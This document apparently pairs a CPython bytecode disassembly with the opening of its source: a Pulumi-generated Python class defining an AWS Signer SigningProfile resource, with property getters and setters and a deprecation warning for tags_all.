'tags_all' LOAD_FAST tags_all CALL_METHOD POP_TOP LOAD_FAST version LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'version' LOAD_FAST version CALL_METHOD POP_TOP LOAD_FAST version_arn LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'version_arn' LOAD_FAST version_arn CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'arn' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name_prefix' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'name_prefix' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'platform_display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'platform_display_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'platform_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'platform_id' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'revocation_records' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'revocation_records' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signature_validity_period' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'signature_validity_period' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signing_material' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'signing_material' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'status' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'status' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags_all' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags_all' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'version' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'version' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'version_arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'version_arn' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SigningProfile' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'name', 'name_prefix', 'platform_id', 'signature_validity_period', 'signing_material', 'tags') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab70276420, file "f.py", line 372> LOAD_CONST 'SigningProfile.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload LOAD_CONST (None,) LOAD_NAME str LOAD_NAME SigningProfileArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab702764b0, file "f.py", line 428> LOAD_CONST 'SigningProfile.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME str LOAD_CONST ('resource_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab70276540, file "f.py", line 470> LOAD_CONST 'SigningProfile.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'name', 'name_prefix', 'platform_id', 'signature_validity_period', 'signing_material', 'tags') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _internal_init at 0x7fab70276660, file "f.py", line 479> LOAD_CONST 'SigningProfile._internal_init' MAKE_FUNCTION STORE_NAME _internal_init LOAD_NAME staticmethod LOAD_CONST (None, None, None, None, None, None, None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Sequence LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileRevocationRecordArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 'SigningProfile' LOAD_CONST ('resource_name', 'id', 'opts', 'arn', 'name', 'name_prefix', 'platform_display_name', 'platform_id', 'revocation_records', 'signature_validity_period', 'signing_material', 'status', 'tags', 'tags_all', 'version', 'version_arn', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7fab702766f0, file "f.py", line 530> LOAD_CONST 'SigningProfile.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab70276780, file "f.py", line 598> LOAD_CONST 'SigningProfile.arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab70276810, file "f.py", line 606> LOAD_CONST 'SigningProfile.name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'namePrefix' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name_prefix at 0x7fab702768a0, file "f.py", line 614> LOAD_CONST 'SigningProfile.name_prefix' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name_prefix LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'platformDisplayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_display_name at 0x7fab70276930, file "f.py", line 622> LOAD_CONST 'SigningProfile.platform_display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME platform_display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'platformId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_id at 0x7fab702769c0, file "f.py", line 630> LOAD_CONST 'SigningProfile.platform_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME platform_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'revocationRecords' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Sequence LOAD_CONST 'outputs.SigningProfileRevocationRecord' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object revocation_records at 0x7fab70276a50, file "f.py", line 638> LOAD_CONST 'SigningProfile.revocation_records' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME revocation_records LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signatureValidityPeriod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_CONST 'outputs.SigningProfileSignatureValidityPeriod' BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signature_validity_period at 0x7fab70276ae0, file "f.py", line 648> LOAD_CONST 'SigningProfile.signature_validity_period' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signature_validity_period LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signingMaterial' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_CONST 'outputs.SigningProfileSigningMaterial' BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signing_material at 0x7fab70276b70, file "f.py", line 658> LOAD_CONST 'SigningProfile.signing_material' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signing_material LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status at 0x7fab70276c00, file "f.py", line 665> LOAD_CONST 'SigningProfile.status' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME status LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Optional LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab70276c90, file "f.py", line 673> LOAD_CONST 'SigningProfile.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'tagsAll' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab70276d20, file "f.py", line 681> LOAD_CONST 'SigningProfile.tags_all' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version at 0x7fab70276db0, file "f.py", line 692> LOAD_CONST 'SigningProfile.version' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME version LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'versionArn' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Output LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version_arn at 0x7fab70276e40, file "f.py", line 700> LOAD_CONST 'SigningProfile.version_arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME version_arn LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _utilities LOAD_ATTR get_resource_args_opts LOAD_GLOBAL SigningProfileArgs LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resource_args STORE_FAST opts LOAD_FAST resource_args LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name LOAD_FAST opts BUILD_TUPLE LOAD_FAST resource_args LOAD_ATTR __dict__ CALL_FUNCTION POP_TOP JUMP_FORWARD to 72 LOAD_FAST __self__ LOAD_ATTR _internal_init LOAD_FAST resource_name BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_GLOBAL _utilities LOAD_METHOD get_resource_opts_defaults CALL_METHOD LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL isinstance LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Expected resource options to be a ResourceOptions instance' CALL_FUNCTION RAISE_VARARGS LOAD_FAST opts LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST __props__ LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST '__props__ is only valid when passed in combination with a valid opts.id to get an existing resource' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL SigningProfileArgs LOAD_METHOD __new__ LOAD_GLOBAL SigningProfileArgs CALL_METHOD STORE_FAST __props__ LOAD_FAST name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name' STORE_SUBSCR LOAD_FAST name_prefix LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name_prefix' STORE_SUBSCR LOAD_FAST platform_id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST opts LOAD_ATTR urn POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST "Missing required property 'platform_id'" CALL_FUNCTION RAISE_VARARGS LOAD_FAST platform_id LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'platform_id' STORE_SUBSCR LOAD_FAST signature_validity_period LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'signature_validity_period' STORE_SUBSCR LOAD_FAST signing_material LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'signing_material' STORE_SUBSCR LOAD_FAST tags LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'arn' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'platform_display_name' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'revocation_records' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'status' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags_all' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'version' STORE_SUBSCR LOAD_CONST None LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'version_arn' STORE_SUBSCR LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_CONST 'tagsAll' BUILD_LIST LOAD_CONST ('additional_secret_outputs',) CALL_FUNCTION STORE_FAST secret_opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_FAST secret_opts CALL_METHOD STORE_FAST opts LOAD_GLOBAL super LOAD_GLOBAL SigningProfile LOAD_FAST __self__ CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST 'aws:signer/signingProfile:SigningProfile' LOAD_FAST resource_name LOAD_FAST __props__ LOAD_FAST opts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_METHOD merge LOAD_FAST opts LOAD_GLOBAL pulumi LOAD_ATTR ResourceOptions LOAD_FAST id LOAD_CONST ('id',) CALL_FUNCTION CALL_METHOD STORE_FAST opts LOAD_GLOBAL _SigningProfileState LOAD_METHOD __new__ LOAD_GLOBAL _SigningProfileState CALL_METHOD STORE_FAST __props__ LOAD_FAST arn LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'arn' STORE_SUBSCR LOAD_FAST name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name' STORE_SUBSCR LOAD_FAST name_prefix LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'name_prefix' STORE_SUBSCR LOAD_FAST platform_display_name LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'platform_display_name' STORE_SUBSCR LOAD_FAST platform_id LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'platform_id' STORE_SUBSCR LOAD_FAST revocation_records LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'revocation_records' STORE_SUBSCR LOAD_FAST signature_validity_period LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'signature_validity_period' STORE_SUBSCR LOAD_FAST signing_material LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'signing_material' STORE_SUBSCR LOAD_FAST status LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'status' STORE_SUBSCR LOAD_FAST tags LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags' STORE_SUBSCR LOAD_FAST tags_all LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'tags_all' STORE_SUBSCR LOAD_FAST version LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'version' STORE_SUBSCR LOAD_FAST version_arn LOAD_FAST __props__ LOAD_ATTR __dict__ LOAD_CONST 'version_arn' STORE_SUBSCR LOAD_GLOBAL SigningProfile LOAD_FAST resource_name LOAD_FAST opts LOAD_FAST __props__ LOAD_CONST ('opts', '__props__') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name_prefix' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'platform_display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'platform_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'revocation_records' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signature_validity_period' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signing_material' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'status' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags_all' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'version' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'version_arn' CALL_METHOD RETURN_VALUE
import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ["SigningProfileArgs", "SigningProfile"] @pulumi.input_type class SigningProfileArgs: def __init__( __self__, *, platform_id: pulumi.Input[str], name: Optional[pulumi.Input[str]] = None, name_prefix: Optional[pulumi.Input[str]] = None, signature_validity_period: Optional[ pulumi.Input["SigningProfileSignatureValidityPeriodArgs"] ] = None, signing_material: Optional[ pulumi.Input["SigningProfileSigningMaterialArgs"] ] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None ): """ The set of arguments for constructing a SigningProfile resource. :param pulumi.Input[str] platform_id: The ID of the platform that is used by the target signing profile. :param pulumi.Input[str] name: A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. :param pulumi.Input[str] name_prefix: A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. :param pulumi.Input['SigningProfileSignatureValidityPeriodArgs'] signature_validity_period: The validity period for a signing job. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ pulumi.set(__self__, "platform_id", platform_id) if name is not None: pulumi.set(__self__, "name", name) if name_prefix is not None: pulumi.set(__self__, "name_prefix", name_prefix) if signature_validity_period is not None: pulumi.set(__self__, "signature_validity_period", signature_validity_period) if signing_material is not None: pulumi.set(__self__, "signing_material", signing_material) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="platformId") def platform_id(self) -> pulumi.Input[str]: """ The ID of the platform that is used by the target signing profile. """ return pulumi.get(self, "platform_id") @platform_id.setter def platform_id(self, value: pulumi.Input[str]): pulumi.set(self, "platform_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="namePrefix") def name_prefix(self) -> Optional[pulumi.Input[str]]: """ A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. """ return pulumi.get(self, "name_prefix") @name_prefix.setter def name_prefix(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name_prefix", value) @property @pulumi.getter(name="signatureValidityPeriod") def signature_validity_period( self, ) -> Optional[pulumi.Input["SigningProfileSignatureValidityPeriodArgs"]]: """ The validity period for a signing 